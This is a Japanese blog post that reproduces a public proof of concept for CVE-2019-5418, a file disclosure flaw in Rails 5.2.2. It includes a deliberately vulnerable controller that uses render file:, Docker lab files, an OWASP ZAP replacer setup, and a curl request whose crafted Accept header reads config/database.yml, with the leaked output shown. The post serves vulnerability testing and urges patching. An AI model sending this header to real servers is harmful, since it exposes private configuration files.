LoginSignup
8
3

More than 5 years have passed since last update.

CVE-2019-5418のPoCの動作確認をしてみた

Posted at

この辺りのやつです。

PoCもすでにあるようですね。

自身のテスト時に調査出来るようにPoCの確認をしてみます。
※ テストを行う場合は、必ず自分の管理下のサーバーに対してのみとしましょう。

環境構築

application_controller.rb
class ApplicationController < ActionController::Base
  def cve_2019_5418
    render :file => "README.md"
  end
end
Gemfile
source 'https://rubygems.org'

gem "pry"
gem "rails", "5.2.2"
gem "sqlite3", "~> 1.3.6"
gem "puma"
group :development do
  gem "brakeman"
end
  • 多分、railsだけで良いはずですけど、めんどくさいので、整理していません。
routes.rb
Rails.application.routes.draw do
  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
  root 'application#cve_2019_5418'
end
Dockerfile
FROM ruby:alpine

WORKDIR /myapp
COPY Gemfile .
RUN apk upgrade --no-cache && \
    apk add --update --no-cache \
      postgresql-client \
      nodejs \
      tzdata \
      vim \
      ngrep
RUN apk add --update --no-cache --virtual=build-dependencies \
      build-base \
      curl-dev \
      linux-headers \
      libxml2-dev \
      libxslt-dev \
      postgresql-dev \
      sqlite-dev \
      ruby-dev \
      yaml-dev \
      zlib-dev
RUN gem install bundler && \
    bundle update -j4

RUN bundle exec rails new sample
WORKDIR /myapp/sample

COPY application_controller.rb app/controllers/
COPY routes.rb config/

RUN sed s/"'rails'.*"/"'rails', '5.2.2'"/ Gemfile > tmpGemfile && mv tmpGemfile Gemfile
RUN sed s/"'sqlite3'.*"/"'sqlite3', '~> 1.3.6'"/ Gemfile > tmpGemfile && mv tmpGemfile Gemfile
RUN rm Gemfile.lock
RUN bundle exec rails db:migrate
CMD bundle exec rails server
  • sed周りがうさんくさいですが、意図通りな結果にはなっているので、とりあえず気にしません

起動

docker build --no-cache --rm --tag rails5.2.2 .
docker run -p 3000:3000 rails5.2.2

試してみる

今後の業務でも気軽に試せるように、OWASP ZAPのReplacerに設定しておきます。
スクリーンショット 2019-03-19 11.16.35.png

こうすることで、試験したい場合に、enableをチェックしておくだけで、PoCが有効になります。

Replacer disable

スクリーンショット 2019-03-19 14.46.22.png

Replacer enable

スクリーンショット 2019-03-19 14.46.05.png

まとめ

かなり手軽なようですね。
以下のようなリクエストとかをされると、少し嫌な感じがあります。


$ curl localhost:3000 -H 'Accept: ../../config/database.yml{{'
# SQLite version 3.x
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem 'sqlite3'
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: db/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: db/test.sqlite3

production:
  <<: *default
  database: db/production.sqlite3

今回の脆弱性のポイントは、元記事によると、

render file:

と書いてある部分なので、404や500といった静的ページ系のレンダリング時に使われるケースが多いように思います。
静的に404ページを返す際のサンプルコードがこういう形態なのか、そういう部分で見かけるような気がするコードだと思います。
とはいえ、すでに公式から対策を出してもらえているわけですし、必ず早急にアップデートして対応しておきましょう。

8
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
8
3